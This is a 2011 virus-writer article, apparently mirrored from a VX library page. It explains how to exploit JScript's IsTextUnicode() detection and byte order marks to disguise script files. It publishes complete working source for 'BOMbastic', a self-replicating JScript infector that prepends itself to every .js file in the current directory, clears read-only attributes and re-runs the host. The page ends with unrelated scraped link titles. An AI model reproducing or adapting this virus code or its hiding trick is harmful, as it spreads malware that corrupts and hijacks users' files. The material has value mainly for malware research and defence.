roy g biv
February 2011

[Back to index] [Comments (0)]

  • What is a BOM?
  • Why should we care?
  • Great, can we do that?
  • Okay, let's do it!
  • Unicode in files
  • Greets to friendly people (A-Z)

What is a BOM?

It's not the thing that explodes. That's a BOMB. Heh. BOM is Byte Order Marker. Some Unicode files use the Byte Order Marker to say that they are Unicode, and to say the order of the bytes (little-endian or big-endian). I say "some Unicode files" because there are exceptions, and one of those exceptions is very interesting: VBScript and JScript. Yes, Microsoft scripting technologies do not care about BOM is present or not (delete BOM and see for yourself!). They detect Unicode format using a special API called IsTextUnicode().

Why should we care?

The special thing about the IsTextUnicode() API is that it can only guess if a file is Unicode format or ANSI format. It cannot say for sure, so if we can put a BOM in the front of the file but force the API to return ANSI format, then we can put lots of Unicode in the file to fool people and some tools.

Great, can we do that?

Of course :) but only for JScript. :(

The IsTextUnicode() API takes three parameters: lpBuffer, cb, lpi. lpBuffer is a pointer to the buffer to examine, cb is the size of the buffer, and lpi is a pointer to a variable that contains flags to test on input, and it also receives the result on output. The API examines up to 256 bytes of the file, and then performs the tests that are requested. Microsoft scripting engines call the API with lots of flags to test, but only one is interesting for us: IS_TEXT_UNICODE_ILLEGAL_CHARS. The engines also ignore the return value and check only if IS_TEXT_UNICODE_ILLEGAL_CHARS is set.

If we put an illegal Unicode character in the first 256 bytes of the file, then the engines will think that the file is in ANSI format, even if there is a BOM in the front of the file. Meanwhile, everyone else will still think that the file is in Unicode format.

The characters that are considered to be illegal are 0x0a0d, 0xfeff, 0xffff (only in little-endian format)... and 0x0000. Who remembers my "Pretext" virus from 2002? I used there a technique that I call "tar-script". Microsoft's scripting engines calculate the length of a script by using strlen() function. This means that when a 0 is found, no more file is examined, so if our script ends with a 0 then we can append anything to it and no errors will happen. In this case, we use double-zero to make illegal Unicode character, and still work for ANSI case.

In ANSI mode, BOM can be used for variable name in JScript files. Of course, 256 bytes is not enough for the virus, so the host must be made into "sandwich" where virus code is at start and end, and host code is in the middle.

Okay, let's do it!

Except that it doesn't work. Since the JScript engine is not intended to support something like this, I should not call it a bug. When I tried to write the host code to disk in order to run it, a section of the file was all zeroes. The number of zeroes there depended on the size of the host code. If the code was larger then more zeroes, if smaller then fewer zeroes. The host could not be run when like that. Also, if the host code was large enough, the sandwich code did not run either. So I had to think of another way. It was very simple solution after all. I just had to make the file size odd so that it could not possibly be Unicode format. The simplest way to do that is to make the virus code even and append a single character after the host. The virus code size must be even so that the host code is visible.

Unicode in files

It is interesting that I could not find a way to force the scripting engines to write Unicode strings. They always seem to call WideCharToMultiByte() before writing, because all strings are Unicode format internally. If I read from a file, the engines always seem to call MultiByteToWideChar(), no matter what is the format of the data. If the data were Unicode already, then they become "double-Unicode". It's very weird, so I had to convert to Unicode on my own.

Let's see the code.

<BOM>="BOMbastic - roy g biv 01/02/11"
a=new ActiveXObject("scripting.filesystemobject")
try
{c=a.opentextfile(b=WScript.scriptfullname)    //open host
d=c.read(750)                                 //read virus code.  750 is size of virus with no comments or spaces
//if you change the size of code, then you must change this value
e=a.getfile(b)                                //get our file object
f=c.readall()                                 //read rest of host file
c=e.attributes                                //save attributes
e.attributes=0                                //remove any read-only attribute
g=a.createtextfile(b)                         //make new host
for(h=0;h<f.length-1;h+=2)
g.write(f.substr(h,1))                      //convert Unicode to ANSI and write host
g.close()                                     //close host to allow run later
e.attributes=c                                //restore attributes
}
catch(z)
{}
for(c=new Enumerator(a.getfolder(".").files);!c.atEnd();c.moveNext())
//demo version, current directory only
{e=c.item()
if(b!=e&&a.getextensionname(e).toLowerCase()=="js")
try
{f=a.opentextfile(e)                       //open potential victim
g=f.read(1)                               //read first character, keep for later
if(g!="/xff")                             //check for BOM (used as infection marker)
try
{h=g+f.readall()                       //read entire file
i=e.attributes                        //save attributes
e.attributes=0                        //remove any read-only attribute
j=a.createtextfile(e)                 //open file for writing
j.write(d)                            //prepend to file
for(k=0;k<h.length;++k)
j.write(h.substr(k,1)+"/0")         //convert ANSI to Unicode and write host
j.write("r")
j.close()                             //close file (write mode)
e.attributes=i                        //restore attributes
}
catch(z)
{}
f.close()                                 //close file (read mode)
}
catch(z)
{}
}
new ActiveXObject("wscript.shell").exec("wscript "+b)
//run host
<0 here>

Doenload the BOMBAST.js

Greets to friendly people (A-Z)

Active - Benny - herm1t - hh86 - izee - jqwerty - Malum - Obleak - Prototype - Ratter - Ronin - RT Fishel - sars - SPTH - The Gingerbread Man - Ultras - uNdErX - Vallez - Vecna - Whitehead

摘自:http://vx.netlux.org/lib/vrg07.html

18:28:12

2011-03-05

BOMbing The System相关推荐

  1. SoC(System on chip)与NoC(network-on-chip)

    SoC(System on chip)与NoC(network-on-chip) NoC是相对于SoC的新一代片上互连技术,要深入了解NoC必须深刻认识SoC,故本文组织结构为:  SoC架构  ...

  2. 如何使用Nsight System?

    如何使用Nsight System?

  3. SOC,System on-a-Chip技术初步

    SOC,System on-a-Chip技术初步 S O C(拼作S-O-C)是一种集成电路,它包含了电子系统在单个芯片上所需的所有电路和组件.它可以与传统的计算机系统形成对比,后者由许多不同的组件组 ...

  4. System.err: java.lang.UnsatisfiedLinkError: dlopen failed: library “libc++_shared.so“ not found

    Android Studio 配置OpenCV 的时候出现这样的提示 黄色警告libc++_shared.so" not found : System.err: java.lang.Unsa ...

  5. os.system() 和 os.popen()

    1.os.popen(command[, mode[, bufsize]]) os.system(command) 2.os.popen() 功能强于os.system() , os.popen() ...

  6. system.out 汉字乱码

    使用sts时,文件编码都设置成了UTF-8,使用system.out.println输出汉字时,出现乱码. 解决方案: run>run configurations>common>e ...

  7. 利用System.Uri转URL为绝对地址

    在使用ASPOSE.Word生成Word文档时可以通过InsertHtml(html)来将图文信息写入Word文档(图片内嵌),但要求html里图片的src是绝对全路径,所以需要对html进行转化. ...

  8. ORB_SLAM2程序入口(System.cc)

    程序入口   ORB_SLAM2的程序入口为src/System.cc.在CMakeList.txt中可知,ORB_SLAM2的可执行程序为: Examples/Stereo/stereo_kitti ...

  9. Bqq服务器的缓存文件放什么目录,如何使文件系统缓存失效? - How to invalidate the file system cache? - 开发者知识库...

    30 At least on Windows 7, it seems that attempting to open a volume handle without FILE_SHARE_WRITE ...

最新文章

  1. unity替换mesh测试
  2. 《人月神话》阅读笔记2
  3. 庆祝杭州移动电视诞生一周年
  4. cgroup 介绍 与使用
  5. Struts流程分析+源码分析
  6. 【机器学习基础】机器学习算法中分类知识总结!
  7. 微信小程序 html modal,微信小程序参考微信设计规范做的modal模态框
  8. 程序员利用Python破解老婆撤回的消息,这样竟然还有老婆?
  9. 洛谷P3690 LCT模板
  10. hibernate 多对多操作(级联操作)
  11. 【资源】16个在线机器学习视频与教程
  12. 解决 chrome 访问 https 网站出现“您的连接不是私密的问题”
  13. DDR中的一些知识点说明(ODT,ZQ校准,OCT,TDQS)
  14. spring boot跳过maven test
  15. 用于excel(或wps)中进行ip处理转换的vbs模块
  16. 内网渗透代理知识以及渗透某CTF三层靶机实例
  17. imx6ul双网口(LAN8720A)
  18. APS计划排程结果的量化评价
  19. 2021毕业年的最后一躺
  20. 分类——LDA、QDA

热门文章

  1. java大佬是如何快速配置IntelliJ IDEA的Tomcat及安装配置Tomcat及java开发环境
  2. 汇智创科机器人_【汇智创科机器人招聘信息】-看准网
  3. python图标icon_用Python提取exe图标icon
  4. mysql客户端安装错误_windows下mysql 5.7以上版本安装及遇到的问题
  5. 开放才能进步!Angular和Wijmo一起走过的日子
  6. 解决IE8下body{ overflow:hidden;}无效的解决办法
  7. CSS多列布局(实例)
  8. Gradle Introduction
  9. Zookeeper实现注册与发现
  10. noip退役之路--祝福